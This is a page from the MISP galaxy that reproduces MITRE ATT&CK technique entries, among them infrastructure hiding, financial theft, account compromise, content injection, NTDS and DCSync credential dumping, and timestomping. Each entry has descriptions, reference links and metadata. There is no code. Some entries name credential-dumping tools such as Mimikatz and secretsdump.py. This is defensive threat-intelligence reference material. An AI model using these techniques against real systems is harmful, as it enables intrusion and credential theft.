Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion).(Citation: TA571)(Citation: mod_rewrite)
Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)
Internal MISP references
UUID eb897572-8979-4242-a089-56f294f4c91d which can be used as unique global reference for Hide Infrastructure - T1665 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1665 - webarchive
- https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/ - webarchive
- https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/ - webarchive
- https://github.com/spyboy-productions/Facad1ng - webarchive
- https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1 - webarchive
- https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse - webarchive
- https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/ - webarchive
- https://www.orangecyberdefense.com/global/blog/research/residential-proxies - webarchive
- https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates - webarchive
- https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update - webarchive
- https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1665 |
| kill_chain | ['attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Linux:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Domain Name: Domain Registration', 'Internet Scan: Response Content', 'Internet Scan: Response Metadata', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux', 'Network'] |
Financial Theft - T1657
Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) "pig butchering,"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin)
Adversaries may Compromise Accounts to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize Impersonation of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)
Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after Data Encrypted for Impact (Citation: NYT-Colonial) and Exfiltration of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)
Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as Data Destruction and business disruption.(Citation: AP-NotPetya)
Internal MISP references
UUID 851e071f-208d-4c79-adc6-5974c85c78f3 which can be used as unique global reference for Financial Theft - T1657 in MISP communities and other software using the MISP galaxy
External references
- https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2 - webarchive
- https://attack.mitre.org/techniques/T1657 - webarchive
- https://www.bbc.com/news/technology-60933174 - webarchive
- https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf - webarchive
- https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers. - webarchive
- https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/ - webarchive
- https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view - webarchive
- https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf - webarchive
- https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and - webarchive
- https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs - webarchive
- https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html - webarchive
- https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1657 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact', 'attack-Office-365:impact', 'attack-SaaS:impact', 'attack-Google-Workspace:impact'] |
| mitre_data_sources | ['Application Log: Application Log Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace'] |
Compromise Accounts - T1586
Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.
A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.
Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.
Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.
Internal MISP references
UUID 81033c3b-16a4-46e4-8fed-9b030dd03c4a which can be used as unique global reference for Compromise Accounts - T1586 in MISP communities and other software using the MISP galaxy
External references
- https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/ - webarchive
- https://attack.mitre.org/techniques/T1586 - webarchive
- https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1586 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Persona: Social Media'] |
| mitre_platforms | ['PRE'] |
Dynamic Resolution - T1568
Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.
Adversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
Internal MISP references
UUID 7bd9c723-2f78-4309-82c5-47cad406572b which can be used as unique global reference for Dynamic Resolution - T1568 in MISP communities and other software using the MISP galaxy
External references
- http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html - webarchive
- https://attack.mitre.org/techniques/T1568 - webarchive
- https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/ - webarchive
- https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html - webarchive
- https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1568 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Content Injection - T1659
Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)
Adversaries may inject content to victim systems in various ways, including:
- From the middle, where the adversary is in-between legitimate online client-server communications (Note: this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)
- From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)
Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)
Internal MISP references
UUID 43c9bc06-715b-42db-972f-52d25c09a20c which can be used as unique global reference for Content Injection - T1659 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1659 - webarchive
- https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/ - webarchive
- https://usa.kaspersky.com/blog/man-on-the-side/27854/ - webarchive
- https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack - webarchive
- https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1659 |
| kill_chain | ['attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Windows:initial-access', 'attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['File: File Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
System Services - T1569
Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence (Create or Modify System Process), but adversaries can also abuse services for one-time or temporary execution.
Internal MISP references
UUID d157f9d2-d09a-4efa-bb2a-64963f94e253 which can be used as unique global reference for System Services - T1569 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1569 |
| kill_chain | ['attack-Windows:execution', 'attack-macOS:execution', 'attack-Linux:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Develop Capabilities - T1587
Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)
As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.
Internal MISP references
UUID edadea33-549c-4ed1-9783-8f5a5853cbdf which can be used as unique global reference for Develop Capabilities - T1587 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1587 - webarchive
- https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html - webarchive
- https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ - webarchive
- https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - webarchive
- https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1587 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content', 'Malware Repository: Malware Content', 'Malware Repository: Malware Metadata'] |
| mitre_platforms | ['PRE'] |
Obtain Capabilities - T1588
Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.
In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)
In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)
Internal MISP references
UUID ce0687a0-e692-4b77-964a-0784a8e54ff1 which can be used as unique global reference for Obtain Capabilities - T1588 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1588 - webarchive
- https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ - webarchive
- https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/ - webarchive
- https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop - webarchive
- https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html - webarchive
- https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/ - webarchive
- https://www.recordedfuture.com/cobalt-strike-servers/ - webarchive
- https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1588 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Certificate: Certificate Registration', 'Internet Scan: Response Content', 'Malware Repository: Malware Content', 'Malware Repository: Malware Metadata'] |
| mitre_platforms | ['PRE'] |
Adversary-in-the-Middle - T1638
Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as Transmitted Data Manipulation or Endpoint Denial of Service.
Adversary-in-the-Middle can be achieved through several mechanisms. For example, a malicious application may register itself as a VPN client, effectively redirecting device traffic to adversary-owned resources. Registering as a VPN client requires user consent on both Android and iOS; additionally, a special entitlement granted by Apple is needed for iOS devices. Alternatively, a malicious application with escalation privileges may utilize those privileges to gain access to network traffic.
Specific to Android devices, adversary-in-the-disk is a type of AiTM attack where adversaries monitor and manipulate data that is exchanged between applications and external storage.(Citation: mitd_kaspersky)(Citation: mitd_checkpoint)(Citation: mitd_checkpoint_research) To accomplish this, a malicious application firsts requests for access to multimedia files on the device (READ_EXTERNAL STORAGE and WRITE_EXTERNAL_STORAGE), then the application reads data on the device and/or writes malware to the device. Though the request for access is common, when used maliciously, adversaries may access files and other sensitive data due to abusing the permission. Multiple applications were shown to be vulnerable against this attack; however, scrutiny of permissions and input validations may mitigate this attack.
Outside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as ARP Cache Poisoning or DHCP Spoofing.
If applications properly encrypt their network traffic, sensitive data may not be accessible to adversaries, depending on the point of capture. For example, properly implementing Apple’s Application Transport Security (ATS) and Android’s Network Security Configuration (NSC) may prevent sensitive data leaks.(Citation: NSC_Android)
Internal MISP references
UUID 08e22979-d320-48ed-8711-e7bf94aabb13 which can be used as unique global reference for Adversary-in-the-Middle - T1638 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1638 - webarchive
- https://blog.checkpoint.com/security/man-in-the-disk-a-new-attack-surface-for-android-apps/ - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-8.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-12.html - webarchive
- https://research.checkpoint.com/androids-man-in-the-disk/ - webarchive
- https://usa.kaspersky.com/blog/man-in-the-disk/16089/ - webarchive
- https://www.nowsecure.com/blog/2018/08/15/a-security-analysts-guide-to-network-security-configuration-in-android-p/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1638 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Adversary-in-the-Middle - T1557
Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)
For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)
Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to Impair Defenses and/or in support of a Network Denial of Service.
Internal MISP references
UUID 035bb001-ab69-4a0b-9f6c-2de8b09e1b9d which can be used as unique global reference for Adversary-in-the-Middle - T1557 in MISP communities and other software using the MISP galaxy
External references
- https://arxiv.org/abs/1809.05681 - webarchive
- https://attack.mitre.org/techniques/T1557 - webarchive
- https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/ - webarchive
- https://securelist.com/ad-blocker-with-miner-included/101105/ - webarchive
- https://tlseminar.github.io/downgrade-attacks/ - webarchive
- https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/ - webarchive
- https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/ - webarchive
- https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/ - webarchive
- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats - webarchive
- https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1557 |
| kill_chain | ['attack-Windows:credential-access', 'attack-macOS:credential-access', 'attack-Linux:credential-access', 'attack-Network:credential-access', 'attack-Windows:collection', 'attack-macOS:collection', 'attack-Linux:collection', 'attack-Network:collection'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux', 'Network'] |
Add-ins - T1137.006
Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)
Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.
Internal MISP references
UUID 34f1d81d-fe88-4f97-bd3b-a3164536255d which can be used as unique global reference for Add-ins - T1137.006 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1137/006 - webarchive
- https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/ - webarchive
- https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf - webarchive
- https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460 - webarchive
- https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1137.006 |
| kill_chain | ['attack-Windows:persistence', 'attack-Office-365:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'Office 365'] |
Related clusters
To see the related clusters, click here.
Regsvcs/Regasm - T1218.009
Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
Internal MISP references
UUID c48a67ee-b657-45c1-91bf-6cdbe27205f8 which can be used as unique global reference for Regsvcs/Regasm - T1218.009 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/009 - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Regasm/ - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/ - webarchive
- https://msdn.microsoft.com/en-us/library/04za0hca.aspx - webarchive
- https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.009 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Steganography - T1001.002
Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.
Internal MISP references
UUID eec23884-3fa1-4d8a-ac50-6f104d51e235 which can be used as unique global reference for Steganography - T1001.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1001.002 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
NTDS - T1003.003
Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)
In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
- Volume Shadow Copy
- secretsdump.py
- Using the in-built Windows tool, ntdsutil.exe
- Invoke-NinjaCopy
Internal MISP references
UUID edf91964-b26e-4b4a-9600-ccacd7d7df24 which can be used as unique global reference for NTDS - T1003.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1003.003 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
DCSync - T1003.006
Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.
Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation.(Citation: InsiderThreat ChangeNTLM July 2017)
DCSync functionality has been included in the "lsadump" module in Mimikatz.(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)
Internal MISP references
UUID f303a39a-6255-4b89-aecc-18c4d8ca7163 which can be used as unique global reference for DCSync - T1003.006 in MISP communities and other software using the MISP galaxy
External references
- http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ - webarchive
- https://adsecurity.org/?p=1729 - webarchive
- https://attack.mitre.org/techniques/T1003/006 - webarchive
- https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM - webarchive
- https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump - webarchive
- https://msdn.microsoft.com/library/cc228086.aspx - webarchive
- https://msdn.microsoft.com/library/cc237008.aspx - webarchive
- https://msdn.microsoft.com/library/cc245496.aspx - webarchive
- https://msdn.microsoft.com/library/dd207691.aspx - webarchive
- https://source.winehq.org/WineAPI/samlib.html - webarchive
- https://wiki.samba.org/index.php/DRSUAPI - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1003.006 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Windows'] |
Related clusters
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Timestomp - T1070.006
Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Timestomping may be used along with file name Masquerading to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)
Internal MISP references
UUID 47f2d673-ca62-47e9-929b-1b0be9657611 which can be used as unique global reference for Timestomp - T1070.006 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1070.006 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata', 'File: File Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
SSH - T1021.004
Adversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.
SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.
Internal MISP references
UUID 2db31dcd-54da-405d-acef-b9129b816ed6 which can be used as unique global reference for SSH - T1021.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1021.004 |
| kill_chain | ['attack-Linux:lateral-movement', 'attack-macOS:lateral-movement'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
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VNC - T1021.005
Adversaries may use Valid Accounts to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)
VNC differs from Remote Desktop Protocol as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)
Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)
Internal MISP references
